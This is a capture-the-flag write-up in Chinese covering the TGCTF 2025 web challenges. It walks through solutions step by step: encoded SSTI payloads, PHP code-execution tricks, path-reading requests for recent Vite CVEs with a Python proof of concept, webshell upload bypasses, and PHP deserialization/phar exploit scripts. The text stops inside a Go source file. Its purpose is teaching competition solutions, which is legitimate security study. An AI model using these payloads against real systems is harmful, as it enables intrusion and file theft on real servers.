2025-TGCTF-write.up


web

火眼辩魑魅

image-20250412111717648

进去说shell学姐,显然访问tgshell。

直接打phpinfo();发现命令可以执行,但是继续执行发现禁了很多,但是发现反引号没禁。

image-20250412170442114 image-20250412170527774
1
但是上面竟然是非预期,wp是打smarty模板注入(看框架是php然后联系ip可以想到在xff打Smarty模板注入)
image-20250416091552111

直面天命

提示有个路由,看描述不出意外是爆破路由,用bp爆太慢了,直接ai写个代码爆,得到aazz

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import requests
import itertools
from concurrent.futures import ThreadPoolExecutor

# ===== 目标配置 =====
TARGET = "http://node2.tgctf.woooo.tech:32668"
THREADS = 30  # 并发线程数
TIMEOUT = 5  # 请求超时(秒)


# ===== 路由生成器 =====
def generate_routes():
    chars = 'abcdefghijklmnopqrstuvwxyz'
    for combo in itertools.product(chars, repeat=4):
        yield '/' + ''.join(combo)


# ===== 有效性验证 =====
def check_route(route):
    try:
        url = TARGET + route
        resp = requests.get(url, timeout=TIMEOUT)

        # 有效性判断逻辑(综合状态码和内容特征)
        if resp.status_code == 200:
            # 过滤默认页面/无效页面(参考网页1的"var resultInfo"逻辑)
            if len(resp.text) > 100 and "404" not in resp.text:
                return True, route, len(resp.text)
    except Exception as e:
        pass
    return False, None, 0


# ===== 主爆破逻辑 =====
found_routes = []


def brute_worker(route):
    global found_routes
    if len(found_routes) >= 2:
        return

    valid, path, length = check_route(route)
    if valid:
        found_routes.append((path, length))
        print(f"\033[32m[+] 发现有效路由: {path} (响应长度: {length})\033[0m")

        # 找到两个立即停止
        if len(found_routes) >= 2:
            executor.shutdown(wait=False, cancel_futures=True)


# ===== 执行爆破 =====
if __name__ == "__main__":
    print("开始路由爆破,目标为4位小写字母组合...")

    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        futures = []
        for route in generate_routes():
            if len(found_routes) < 2:
                futures.append(executor.submit(brute_worker, route))
            else:
                break

    # 打印最终结果
    print("\n=== 爆破结果 ===")
    if found_routes:
        for i, (route, length) in enumerate(found_routes):
            print(f"路由{i + 1}: {TARGET}{route} (响应长度: {length})")
    else:
        print("未发现有效路由")
       

然后源码提示有参数,直接用arjun爆破得到filename

image-20250416102540954

解法一:ssti

然后直接读源码app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False
def is_typable(char):
    # 定义可通过标准 QWERTY 键盘输入的字符集
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
    template1=""
    template2=""
    name = request.form.get('name')
    template = f'{name}'
    if waf(name):
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{  url_for("static", filename="3.jpeg") }}" alt="Image">'
    else:
        k=0
        for i in name:
            if is_typable(i):
                continue
            k=1
            break
        if k==1:
            if not (secret_key[:2] in name and secret_key[2:]):
                template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{  url_for("static", filename="4.jpeg") }}" alt="Image">'
                return render_template_string(template)
            template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
            template= template.replace("直面","{{").replace("天命","}}")
            template = template
    if "cat" in template:
        template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{  url_for("static", filename="2.jpeg") }}" alt="Image">'
    try:
        return template1+render_template_string(template)+render_template_string(template2)
    except Exception as e:
        error_message = f"500报错了,查询语句如下:<br>{template}"
        return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
    template="hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"
    return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
    filename = request.args.get('filename', '')
    if filename == "":
        return send_from_directory('static', 'file.html')

    if not filename.replace('_', '').isalnum():
        content = jsonify({'error': '只允许字母和数字!'}), 400
    if os.path.isfile(filename):
        try:
            with open(filename, 'r') as file:
                content = file.read()
            return content
        except Exception as e:
            return jsonify({'error': str(e)}), 500
    else:
        return jsonify({'error': '路径不存在或者路径非法'}), 404


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

看源码发现直面天命替换成了{{}}。然后查看一下secret_key。嗯没错了

image-20250416105213161

打直面2*2天命,回显

image-20250416104136079

接下来就是打ssti,编码绕过了

1
直面lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat /fla?")|attr("\u0072\u0065\u0061\u0064")()天命

解法二:目录穿越

image-20250416110219098

直面天命(复仇)

访问aazz,直接得到源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False
def is_typable(char):
    # 定义可通过标准 QWERTY 键盘输入的字符集
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
    template1=""
    template2=""
    name = request.form.get('name')
    template = f'{name}'
    if waf(name):
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
    else:
        k=0
        for i in name:
            if is_typable(i):
                continue
            k=1
            break
        if k==1:
            if not (secret_key[:2] in name and secret_key[2:]):
                template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧

再去西行历练历练

Image'
                return render_template_string(template)
            template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后如果你用了cat就可以见到齐天大圣了
"
            template= template.replace("天命","{{").replace("难违","}}")
            template = template
    if "cat" in template:
        template2 = '
或许你这只叫天命人的猴子真的能做到

Image'
    try:
        return template1+render_template_string(template)+render_template_string(template2)
    except Exception as e:
        error_message = f"500报错了,查询语句如下:
{template}"
        return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
    template="hint:
有一个aazz路由去那里看看吧天命人!"
    return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
    with open(__file__, 'r') as f:
        source_code = f.read()
    return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)
1
天命cycler["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x6f\x73"]["\x70\x6f\x70\x65\x6e"]('cat /tgffff11111aaaagggggggg')["\x72\x65\x61\x64"]()难违

这个调出来不容易,原型是

1
{{cycler.__init__.__globals__.os.popen('ls /').read()}}

然后16进制编码即可,相当好用,如果小括号,cycler没禁用基本可用

1
{{cycler["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x6f\x73"]["\x70\x6f\x70\x65\x6e"]('ls /')["\x72\x65\x61\x64"]()}}

贴一个类似payload,虽然这里不能用

1
{{lipsum["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x6f\x73"]["\x70\x6f\x70\x65\x6e"]('ls /')["\x72\x65\x61\x64"]()}}

AAA偷渡阴平(无字母数字rce)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

解法一:get_defined_vars()

1
tgctf2025=eval(end(current(get_defined_vars())));&b=system('cat  /f*'); #eval换成assert也行 
image-20250416222608272

解法二:getallheaders()

image-20250416225323447

这个没知道获取的请求头位置,即爆破位置,所以要不断发包,下面有2种指定位置的打法,但是没复现出

ByteCTF一道题的分析与学习PHP无参数函数的利用-先知社区

解法三:session_id()

1
session_start();system(hex2bin(session_id()));
1
PHPSESSID=636174202f666c6167         #解码是cat /flag 注意数字后面不要有空格		
image-20250416232256965

本来还有解法,但是没复现出来,可以参考下面的文章

无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

AAA偷渡阴平(复仇)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

打上面法3

image-20250416234815836

非预期

1
2
?tgctf2025=system(implode(apache_request_headers()));	#这里有点问题,打不了了
?tgctf2025=system(hex2bin(key(apache_request_headers()))); #请求头当命令
image-20250417000956452

前端GAME

打vite文件读取漏洞(CVE-2025-30208)

【CVE-2025-30208】| Vite-漏洞分析与复现-CSDN博客

Vite存在CVE-2025-30208安全漏洞(附修复方案和演示示例) _ 潘子夜个人博客

先试试读环境:http://127.0.0.1:58549/@fs/etc/passwd?import&raw??

1
/@fs/etc/passwd?raw3		#这个命令也行
image-20250415102004045

接下来找flag路径

image-20250415104143382

所以最后打

1
/@fs/tgflagggg?import&raw3  或者   /@fs/tgflagggg?raw3

前端GAME Plus

flag路径还是在原地方

image-20250415104349196

根据上面的思路搜索vite文件读取漏洞,找到一篇好文

Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31125)-先知社区

经过尝试,发现是CVE-2025-31486

1
2
3
/@fs/tgflagggg?import&?meteorkai.svg?.wasm?init

/@fs/tgflagggg?meteorkai.svg?.wasm?init 

也参考此文复现与修复指南:Vite任意文件读取漏洞bypass(CVE-2025-31486)

1
2
tgflagggg?.svg?.wasm?init
@fs/app/?/../../../../../tgflagggg?import&?raw

解码得flag

image-20250415110550334

前端GAME Ultra

考最新的cve

复现与修复指南:Vite再次bypass(CVE-2025-32395)

打/@fs/tmp/可以看到绝对路径

image-20250415113442328

原型poc是

1
2
# 这里的/x/x/x/vite-project/是指Vite所在的绝对路径
curl --request-target /@fs/x/x/x/vite-project/#/../../../../../etc/passwd http://localhost:5173/
1
curl  --request-target /@fs/app/#/../../../../../tgflagggg http://127.0.0.1:59349/
image-20250415113902055

也可以用代码实现

1
注意使用requests没法复现。可以使用http.client,它是Python标准库中提供的一个底层的HTTP客户端模块,直接与网络套接字交互来发送和接收HTTP请求和响应,能够实现类似curl --request-target的功能。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import http.client

# 替换为实际的 IP 地址
ip = '127.0.0.1'
# 替换为实际的 PORT 端口
port = 59349
# 定义请求目标路径
request_target = '/@fs/app/#/../../../../../tgflagggg'

try:
    # 创建 HTTP 连接
    conn = http.client.HTTPConnection(ip, port)
    # 发起 GET 请求
    conn.request('GET', request_target)
    # 获取响应
    response = conn.getresponse()
    # 读取响应内容
    data = response.read().decode('utf-8')
    # 打印响应状态码和内容
    print(f"状态码: {response.status}")
    print(data)
except http.client.HTTPException as http_err:
    print(f"HTTP 异常: {http_err}")
except Exception as e:
    print(f"发生其他错误: {e}")
finally:
    # 关闭连接
    if conn:
        conn.close()

具体详细请看上面所分享文章

找最新cve还得看阿里云漏洞库

(ez)upload

扫描没找到源码,但是看到index.php.bak,可以联想到uploads.php.bak源码就在其中

image-20250415143224931
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/'); // 定义上传文件的存储路径
$is_upload = false; // 初始化文件上传状态
$msg = null; // 初始化消息变量
$status_code = 200; // 默认状态码为 200,表示成功
if (isset($_POST['submit'])) { // 检查是否提交了表单
    if (file_exists(UPLOAD_PATH)) { // 检查上传路径是否存在
        $deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess"); // 定义禁止上传的文件扩展名列表

        if (isset($_GET['name'])) { // 检查是否通过 GET 方法传递了文件名
            $file_name = $_GET['name']; // 使用 GET 方法传递的文件名
        } else {
            $file_name = basename($_FILES['name']['name']); // 使用上传文件的原始文件名
        }
        $file_ext = pathinfo($file_name, PATHINFO_EXTENSION); // 获取文件扩展名

        if (!in_array($file_ext, $deny_ext)) { // 检查文件扩展名是否在禁止列表中
            $temp_file = $_FILES['name']['tmp_name']; // 获取临时文件路径
            $file_content = file_get_contents($temp_file); // 读取文件内容

            if (preg_match('/.+?</s', $file_content)) { // 检查文件内容是否包含非法字符(但是出题者应该出错了,本来应该是 /<.+?>/s)		#因为正则表达式/.+?</s要求匹配至少一个字符后跟<,所以如果文件内容以<开头,则无法满足这个模式,因此不会被检测到,从而绕过检查。
                $msg = '文件内容包含非法字符,禁止上传!'; // 提示文件内容包含非法字符
                $status_code = 403; // 设置状态码为 403,表示禁止访问
            } else {
                $img_path = UPLOAD_PATH . $file_name; // 构造目标文件路径
                if (move_uploaded_file($temp_file, $img_path)) { // 将上传的文件移动到目标路径
                    $is_upload = true; // 设置文件上传状态为成功
                    $msg = '文件上传成功!'; // 提示文件上传成功
                } else {
                    $msg = '上传出错!'; // 提示上传出错
                    $status_code = 500; // 设置状态码为 500,表示服务器内部错误
                }
            }
        } else {
            $msg = '禁止保存为该类型文件!'; // 提示禁止保存为该类型文件
            $status_code = 403; // 设置状态码为 403,表示禁止访问
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; // 提示上传路径不存在
        $status_code = 404; // 设置状态码为 404,表示资源未找到
    }
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([ // 将结果以 JSON 格式输出
    'status_code' => $status_code,
    'msg' => $msg,
]);
1
这代码最重要的是move_uploaded_file($temp_file, $img_path)函数,就会把你上传的文件($temp_file),移动到($img_path),并把文件名保存为($file_name),在这里就是name所传的参数

而且这里一定要进行name传参,因为代码有basename($_FILES[’name’][’name’]);

这里有2种解法

第一种:打一句话木马

image-20250415212139997

这里/.是为了绕过pathinfo,防止其获取文件后缀,至于为什么要a/../具体参考

从0CTF一道题看move_uploaded_file的一个细节问题-安全KER - 安全资讯平台

打进了木马之后就不多说。

image-20250415212216944

这里的php文件是在uploads的文件目录下

1
但是上面其实是为了进行文件覆盖才这样打,具体看上文所分享文章,文章里是为了覆盖index.php

这里本来是没有1.php的,所以可以直接打1.php/.

image-20250415225556529 image-20250415225637767

如果传../1.php/.,这样的话1.php就是传在与网页根目录下(即与uploads文件夹同一目录)

这种解法还有一种变形就是.user.ini配合图片马,这里就不需要/.绕过pathinfo

image-20250415213910006 image-20250415214007567 image-20250415230724993
1
为什么要放在上一个目录呢,因为在.user.ini 中使用这条配置的使用也说了是在同目录下的其他.php 文件中包含配置中所指定的文件,也就是说需要该目录下存在.php 文件。

浅析.htaccess和.user.ini文件上传 - FreeBuf网络安全行业门户具体看此文

第二种:脏数据绕过

利用大量无用数据使正则失效(如果不限制大小的话,是个很好的通解)

image-20250415223655058 image-20250415223953182

什么文件上传?

访问class.php有

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    function best64_decode($str)
    {
        return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
    }
    class yesterday {
        public $learn;
        public $study="study";
        public $try;
        public function __construct()
        {
            $this->learn = "learn<br>";
        }
        public function __destruct()
        {
            echo "You studied hard yesterday.<br>";
            return $this->study->hard();
        }
    }
    class today {
        public $doing;
        public $did;
        public $done;
        public function __construct(){
            $this->did = "What you did makes you outstanding.<br>";
        }
        public function __call($arg1, $arg2)
        {
            $this->done = "And what you've done has given you a choice.<br>";
            echo $this->done;
            if(md5(md5($this->doing))==666){
                return $this->doing();
            }
            else{
                return $this->doing->better;
            }
        }
    }
    class tommoraw {
        public $good;
        public $bad;
        public $soso;
        public function __invoke(){
            $this->good="You'll be good tommoraw!<br>";
            echo $this->good;
        }
        public function __get($arg1){
            $this->bad="You'll be bad tommoraw!<br>";
        }

    }
    class future{
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

        public function __set($arg1, $arg2) {
            if ($this->out->useful7) {
                echo "Seven is my lucky number<br>";
                system('whoami');
            }
        }
        public function __toString(){
            echo "This is your future.<br>";
            system($_POST["wow"]);
            return "win";
        }
        public function __destruct(){
            $this->no = "no";
            return $this->no;
        }
    }
    if (file_exists($_GET['filename'])){
        echo "Focus on the previous step!<br>";
    }
    else{
        $data=substr($_GET['filename'],0,-4);
        unserialize(best64_decode($data));
    }
    // You learn yesterday, you choose today, can you get to your future?
?>

这个链子很显然啊

1
yesterday(__destruct)-> today (__call) ->future(__toString)

最后exp是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
   class yesterday {
        public $learn;
        public $study="study";
        public $try;
        public function __construct()
        {
            $this->learn = "learn<br>";
        }
        public function __destruct()
        {
            echo "You studied hard yesterday.<br>";
            return $this->study->hard();
        }
    }
     class today {
        public $doing;
        public $did;
        public $done;
        public function __construct(){
            $this->did = "What you did makes you outstanding.<br>";
        }
        public function __call($arg1, $arg2)
        {
            $this->done = "And what you've done has given you a choice.<br>";
            echo $this->done;
            if(md5(md5($this->doing))==666){
                return $this->doing();
            }
            else{
                return $this->doing->better;
            }
        }
    }
    class future{
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

        public function __set($arg1, $arg2) {
            if ($this->out->useful7) {
                echo "Seven is my lucky number<br>";
                system('whoami');
            }
        }
        public function __toString(){
            echo "This is your future.<br>";
            system($_POST["wow"]);
            return "win";
        }
        public function __destruct(){
            $this->no = "no";
            return $this->no;
        }
    }

$a=new yesterday();
$a->study=new today();
$a->study->doing=new future();

echo serialize($a);
echo base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(serialize($a))))))."\n";
image-20250417200714267

什么文件上传?(复仇)

依旧看class.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
    return base64_encode(md5(base64_encode(md5($str))));
    }
class yesterday {
    public $learn;
    public $study="study";
    public $try;
    public function __construct()
    {
        $this->learn = "learn<br>";
    }
    public function __destruct()
    {
        echo "You studied hard yesterday.<br>";
        return $this->study->hard();
    }
}
class today {
    public $doing;
    public $did;
    public $done;
    public function __construct(){
        $this->did = "What you did makes you outstanding.<br>";
    }
    public function __call($arg1, $arg2)
    {
        $this->done = "And what you've done has given you a choice.<br>";
        echo $this->done;
        if(md5(md5($this->doing))==666){
            return $this->doing();
        }
        else{
            return $this->doing->better;
        }
    }
}
class tommoraw {
    public $good;
    public $bad;
    public $soso;
    public function __invoke(){
        $this->good="You'll be good tommoraw!<br>";
        echo $this->good;
    }
    public function __get($arg1){
        $this->bad="You'll be bad tommoraw!<br>";
    }

}
class future{
    private $impossible="How can you get here?<br>";
    private $out;
    private $no;
    public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

    public function __set($arg1, $arg2) {
        if ($this->out->useful7) {
            echo "Seven is my lucky number<br>";
            system('whoami');
        }
    }
    public function __toString(){
        echo "This is your future.<br>";
        system($_POST["wow"]);
        return "win";
    }
    public function __destruct(){
        $this->no = "no";
        return $this->no;
    }
}
if (file_exists($_GET['filename'])){
    echo "Focus on the previous step!<br>";
}
else{
    $data=substr($_GET['filename'],0,-4);
    unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

上面的方法打不了,看到file_exists结合文件上传那就是打phar反序列化了

初探phar://-先知社区

php反序列化拓展攻击详解–phar-先知社区

刚好春秋杯我也做了,打这个需要配环境,这里不多讲,直接分享文章

2025春秋杯冬季赛-web-misc-CSDN博客

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
   class yesterday {
        public $learn;
        public $study="study";
        public $try;
        public function __construct()
        {
            $this->learn = "learn<br>";
        }
        public function __destruct()
        {
            echo "You studied hard yesterday.<br>";
            return $this->study->hard();
        }
    }
     class today {
        public $doing;
        public $did;
        public $done;
        public function __construct(){
            $this->did = "What you did makes you outstanding.<br>";
        }
        public function __call($arg1, $arg2)
        {
            $this->done = "And what you've done has given you a choice.<br>";
            echo $this->done;
            if(md5(md5($this->doing))==666){
                return $this->doing();
            }
            else{
                return $this->doing->better;
            }
        }
    }
    class future{
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

        public function __set($arg1, $arg2) {
            if ($this->out->useful7) {
                echo "Seven is my lucky number<br>";
                system('whoami');
            }
        }
        public function __toString(){
            echo "This is your future.<br>";
            system($_POST["wow"]);
            return "win";
        }
        public function __destruct(){
            $this->no = "no";
            return $this->no;
        }
    }

$a=new yesterday();
$a->study=new today();
$a->study->doing=new future();

$phar = new Phar("3xp.phar"); // 创建一个名为 3xp.phar 的 Phar 文件
$phar->startBuffering();       // 开始缓冲,以允许修改 Phar 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); // 设置 Phar 文件的存根(Stub),防止被误认为普通 PHP 脚本
$phar->setMetadata($a);   // 将 Chunqiu 对象作为元数据存储在 Phar 文件中
$phar->addFromString("exp.txt", "test"); // 向 Phar 文件中添加一个名为 exp.txt 的文件,内容为 "test"
$phar->stopBuffering();        // 停止缓冲,并生成最终的 Phar 文件

但是文件上传设置了后缀,提示是3个小写字母,gpt写一个爆破后缀的代码(一开始也爆不出,将bp抓包的数据给他然后再爆就行)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import requests
import itertools
from concurrent.futures import ThreadPoolExecutor, as_completed


def test_extension(ext):
    url = "http://127.0.0.1:60958/upload.php"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0",
        "Referer": "http://127.0.0.1:60958/"
    }

    # 修复1: 严格遵循multipart格式
    boundary = "----WebKitFormBoundaryzBu6LJ5xcgw2ScwL"
    data = [
        f'--{boundary}',
        f'Content-Disposition: form-data; name="file"; filename="test.{ext}"',
        'Content-Type: application/octet-stream\r\n',
        'GIF89a<?php system($_GET["cmd"]);?>\r\n',  # 内容后添加换行
        f'--{boundary}--\r\n'
    ]

    try:
        # 修复2: 正确编码请求体
        request_body = '\r\n'.join(data).encode('utf-8')

        response = requests.post(
            url,
            headers={
                **headers,
                "Content-Type": f"multipart/form-data; boundary={boundary}"
            },
            data=request_body,  # 使用正确编码的数据
            timeout=5
        )

        # 修复3: 增强成功检测逻辑
        success = False
        if response.status_code == 200:
            success = any(keyword in response.text.lower()
                          for keyword in ["success", "upload", "path"])
        elif 300 <= response.status_code < 400:
            success = True

        return (success, ext)

    except Exception as e:
        print(f"\n[!] 测试 {ext} 时发生异常: {str(e)}")
        return (False, ext)


def brute_extensions():
    # 优先测试高危扩展名
    high_risk_exts = ['php', 'phtml', 'phar', 'inc', 'pgp']

    # 生成所有三位组合
    all_exts = (''.join(c) for c in itertools.product('abcdefghijklmnopqrstuvwxyz', repeat=3))

    with ThreadPoolExecutor(max_workers=20) as executor:
        # 提交任务
        futures = {}

        # 优先测试高危扩展
        for ext in high_risk_exts:
            future = executor.submit(test_extension, ext)
            futures[future] = ext

        # 提交全量组合
        for ext in all_exts:
            if ext not in high_risk_exts:  # 避免重复
                future = executor.submit(test_extension, ext)
                futures[future] = ext

        # 实时处理结果
        for future in as_completed(futures):
            success, ext = future.result()
            if success:
                print(f"\n[+] 有效后缀发现: {ext}")
                # 暴力终止所有线程
                for f in futures:
                    f.cancel()
                executor.shutdown(wait=False)
                return ext
            print(f"测试 {ext.ljust(8)}... 失败", end='\r', flush=True)

    print("\n[-] 未找到有效后缀")
    return None


if __name__ == "__main__":
    brute_extensions()

image-20250417210632194

接下来就是将生成的phar文件改后缀为atg,然后上传,然后get传参触发phar

1
filename=phar://uploads/3xp.atg

再post执行命令就好

image-20250417214105912

老登,炸鱼来了?

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"path/filepath"
	"strings"
	"text/template"
